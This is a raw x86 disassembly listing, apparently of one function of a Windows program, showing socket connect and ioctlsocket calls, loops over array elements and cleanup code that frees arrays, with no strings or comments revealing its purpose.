mov dword [ebp - 0x20], eax
mov eax, dword [0x505ffc]
cmp dword [0x506000], eax
jl 0x40243d
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
push 0
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push 1
push 0x64
call fcn.00404e12
jmp 0x402408
mov eax, dword [0x505ffc]
cmp dword [0x506000], eax
jge 0x40259c
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x402461
mov eax, 0x4242c6
push eax
push 1
mov ebx, 0x130
call fcn.00407f00
add esp, 0x10
mov dword [ebp - 0x3c], eax
fild dword [ebp - 0x3c]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
fadd qword [0x505a34]
fstp qword [ebp - 0x44]
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
fld qword [ebp - 0x44]
call fcn.0040119d
push 0x80000301
push 0
push eax
push 2
mov ebx, 0x24
mov eax, 0x40b330
call fcn.004075c0
add esp, 0x1c
mov dword [ebp - 0x2c], eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x2c]
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x4024e2
mov eax, 0x4242c6
push eax
push 3
mov ebx, 0x914
call fcn.00407f10
add esp, 0x28
push 0x80000301
push 0
push dword [0x506004]
push 1
mov ebx, 0xc
mov eax, 0x40b510
call fcn.004075c0
add esp, 0x10
inc dword [0x506000]
push 0x80000301
push 0
push dword [0x506004]
push 1
mov ebx, 0x10
mov eax, 0x40b530
call fcn.004075c0
add esp, 0x10
push 0x80000301
push 0
lea eax, [ebp - 0x30]
push eax
push 0x80000301
push 0
push dword [ebp - 0x2c]
push ioctlsocket
push 0
push 0x406f6e
push 3
mov ebx, 0
mov eax, 0x40b420
call fcn.004075c0
add esp, 0x28
push 0x80000301
push 0
push dword [ebp - 0x30]
push 1
mov ebx, 0x1c
mov eax, 0x40b550
call fcn.004075c0
add esp, 0x10
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
push 0
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push 1
push 5
call fcn.00404e12
mov eax, dword [ebp - 0x24]
push eax
push dword [ebp - 0x20]
call fcn.00401100
add esp, 8
cmp eax, 0
jne 0x4025db
jmp 0x402d34
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 1
cmp eax, ecx
jl 0x402603
push 0xef6
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x505a3c
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401100
add esp, 8
cmp eax, 0
jne 0x4026c3
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 2
cmp eax, ecx
jl 0x40264e
push 0xf1f
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x3c], ebx
push 0x505a3c
mov ebx, dword [ebp - 0x3c]
push dword [ebx]
call fcn.00401100
add esp, 8
cmp eax, 0
jne 0x4026c3
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 3
cmp eax, ecx
jl 0x402699
push 0xf48
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0x505a3c
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.00401100
add esp, 8
cmp eax, 0
jne 0x4026c3
mov eax, 1
jmp 0x4026c8
mov eax, 0
test eax, eax
je 0x402893
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 0
cmp eax, ecx
jl 0x4026f8
push 0xf73
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 0
cmp eax, ecx
jl 0x402728
push 0xfb6
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x38], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x38]
mov eax, dword [ebx]
test eax, eax
jne 0x402745
mov eax, 0x4242c6
push eax
push 1
mov ebx, 0x9dc
call fcn.00407e20
add esp, 0x10
mov dword [ebp - 0x44], eax
fild dword [ebp - 0x44]
fstp qword [ebp - 0x44]
fld qword [ebp - 0x44]
fadd qword [0x505a34]
fstp qword [ebp - 0x4c]
push 0x80000601
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
push 1
mov ebx, 0x168
call fcn.00407970
add esp, 0x10
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
push eax
mov ebx, dword [ebp - 0x34]
mov ebx, dword [ebx]
test ebx, ebx
je 0x4027a3
push ebx
call fcn.004070fb
add esp, 4
pop eax
mov ebx, dword [ebp - 0x34]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 1
cmp eax, ecx
jl 0x4027d1
push 0xfe2
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov eax, 0x505a40
push eax
mov ebx, dword [ebp - 0x34]
mov ebx, dword [ebx]
test ebx, ebx
je 0x4027f1
push ebx
call fcn.004070fb
add esp, 4
pop eax
mov ebx, dword [ebp - 0x34]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 2
cmp eax, ecx
jl 0x40281f
push 0x1009
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov eax, 0x505a40
push eax
mov ebx, dword [ebp - 0x34]
mov ebx, dword [ebx]
test ebx, ebx
je 0x40283f
push ebx
call fcn.004070fb
add esp, 4
pop eax
mov ebx, dword [ebp - 0x34]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 3
cmp eax, ecx
jl 0x40286d
push 0x1030
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov eax, 0x505a40
push eax
mov ebx, dword [ebp - 0x34]
mov ebx, dword [ebx]
test ebx, ebx
je 0x40288d
push ebx
call fcn.004070fb
add esp, 4
pop eax
mov ebx, dword [ebp - 0x34]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 2
cmp eax, ecx
jl 0x4028bb
push 0x1090
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x505a3c
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401100
add esp, 8
cmp eax, 0
jne 0x402930
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 3
cmp eax, ecx
jl 0x402906
push 0x10b9
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x3c], ebx
push 0x505a3c
mov ebx, dword [ebp - 0x3c]
push dword [ebx]
call fcn.00401100
add esp, 8
cmp eax, 0
jne 0x402930
mov eax, 1
jmp 0x402935
mov eax, 0
test eax, eax
je 0x402ab2
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 1
cmp eax, ecx
jl 0x402965
push 0x10e4
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 1
cmp eax, ecx
jl 0x402995
push 0x1127
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x38], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x38]
mov eax, dword [ebx]
test eax, eax
jne 0x4029b2
mov eax, 0x4242c6
push eax
push 1
mov ebx, 0x9dc
call fcn.00407e20
add esp, 0x10
mov dword [ebp - 0x44], eax
fild dword [ebp - 0x44]
fstp qword [ebp - 0x44]
fld qword [ebp - 0x44]
fadd qword [0x505a34]
fstp qword [ebp - 0x4c]
push 0x80000601
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
push 1
mov ebx, 0x168
call fcn.00407970
add esp, 0x10
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
push eax
mov ebx, dword [ebp - 0x34]
mov ebx, dword [ebx]
test ebx, ebx
je 0x402a10
push ebx
call fcn.004070fb
add esp, 4
pop eax
mov ebx, dword [ebp - 0x34]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 2
cmp eax, ecx
jl 0x402a3e
push 0x1153
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov eax, 0x505a40
push eax
mov ebx, dword [ebp - 0x34]
mov ebx, dword [ebx]
test ebx, ebx
je 0x402a5e
push ebx
call fcn.004070fb
add esp, 4
pop eax
mov ebx, dword [ebp - 0x34]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 3
cmp eax, ecx
jl 0x402a8c
push 0x117a
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov eax, 0x505a40
push eax
mov ebx, dword [ebp - 0x34]
mov ebx, dword [ebx]
test ebx, ebx
je 0x402aac
push ebx
call fcn.004070fb
add esp, 4
pop eax
mov ebx, dword [ebp - 0x34]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 3
cmp eax, ecx
jl 0x402ada
push 0x11c8
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x505a3c
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401100
add esp, 8
cmp eax, 0
jne 0x402c24
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 2
cmp eax, ecx
jl 0x402b25
push 0x11f2
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 2
cmp eax, ecx
jl 0x402b55
push 0x1235
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x38], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x38]
mov eax, dword [ebx]
test eax, eax
jne 0x402b72
mov eax, 0x4242c6
push eax
push 1
mov ebx, 0x9dc
call fcn.00407e20
add esp, 0x10
mov dword [ebp - 0x44], eax
fild dword [ebp - 0x44]
fstp qword [ebp - 0x44]
fld qword [ebp - 0x44]
fadd qword [0x505a34]
fstp qword [ebp - 0x4c]
push 0x80000601
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
push 1
mov ebx, 0x168
call fcn.00407970
add esp, 0x10
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
push eax
mov ebx, dword [ebp - 0x34]
mov ebx, dword [ebx]
test ebx, ebx
je 0x402bd0
push ebx
call fcn.004070fb
add esp, 4
pop eax
mov ebx, dword [ebp - 0x34]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 3
cmp eax, ecx
jl 0x402bfe
push 0x1261
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov eax, 0x505a40
push eax
mov ebx, dword [ebp - 0x34]
mov ebx, dword [ebx]
test ebx, ebx
je 0x402c1e
push ebx
call fcn.004070fb
add esp, 4
pop eax
mov ebx, dword [ebp - 0x34]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 0
cmp eax, ecx
jl 0x402c4c
push 0x12b6
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 1
cmp eax, ecx
jl 0x402c7c
push 0x12b6
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x38], ebx
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 2
cmp eax, ecx
jl 0x402cac
push 0x12b6
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x28]
call fcn.004010e0
mov eax, 3
cmp eax, ecx
jl 0x402cdc
push 0x12b6
push 0x4010001
push 1
call fcn.00407107
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x40], ebx
mov ebx, dword [ebp - 0x40]
push dword [ebx]
push 0x505a32
mov ebx, dword [ebp - 0x3c]
push dword [ebx]
push 0x505a32
mov ebx, dword [ebp - 0x38]
push dword [ebx]
push 0x505a32
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ecx, 7
call fcn.0040106b
add esp, 0x1c
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x402d2b
push ebx
call fcn.004070fb
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
jmp 0x402184
pop eax
pop ebx
pop ecx
jmp 0x402047
add esp, 0xc
mov eax, 0
jmp 0x402d49
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402d5a
push ebx
call fcn.004070fb
add esp, 4
mov ebx, dword [ebp - 8]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x402d78
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x402d74
imul eax, dword [ebx]
jmp 0x402d69
mov ecx, eax
test ecx, ecx
je 0x402d97
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x402d90
push ebx
push eax
call fcn.004070fb
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x402d7e
call fcn.004070fb
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
add ebx, 8
push ebx
mov ebx, dword [ebx]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x402dc4
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x402dc0
imul eax, dword [ebx]
jmp 0x402db5
mov ecx, eax
test ecx, ecx
je 0x402de3
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x402ddc
push ebx
push eax
call fcn.004070fb
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x402dca
call fcn.004070fb
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x402e0d
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x402e09
imul eax, dword [ebx]
jmp 0x402dfe
mov ecx, eax
test ecx, ecx
je 0x402e2c
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x402e25
push ebx
push eax
call fcn.004070fb
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x402e13
call fcn.004070fb
add esp, 4
pop ebx
call fcn.004070fb
add esp, 4
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x402e5b
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x402e57
imul eax, dword [ebx]
jmp 0x402e4c
mov ecx, eax
test ecx, ecx
je 0x402e7a
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x402e73
push ebx
push eax
call fcn.004070fb
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x402e61
call fcn.004070fb
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x402e92
push ebx
call fcn.004070fb
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x402ea2
push ebx
call fcn.004070fb
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x402eb2
push ebx
call fcn.004070fb
add esp, 4
mov ebx, dword [ebp - 0x28]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x402ed0
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x402ecc
imul eax, dword [ebx]
jmp 0x402ec1
mov ecx, eax
test ecx, ecx
je 0x402eef
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x402ee8
push ebx
push eax
call fcn.004070fb
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x402ed6
call fcn.004070fb
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret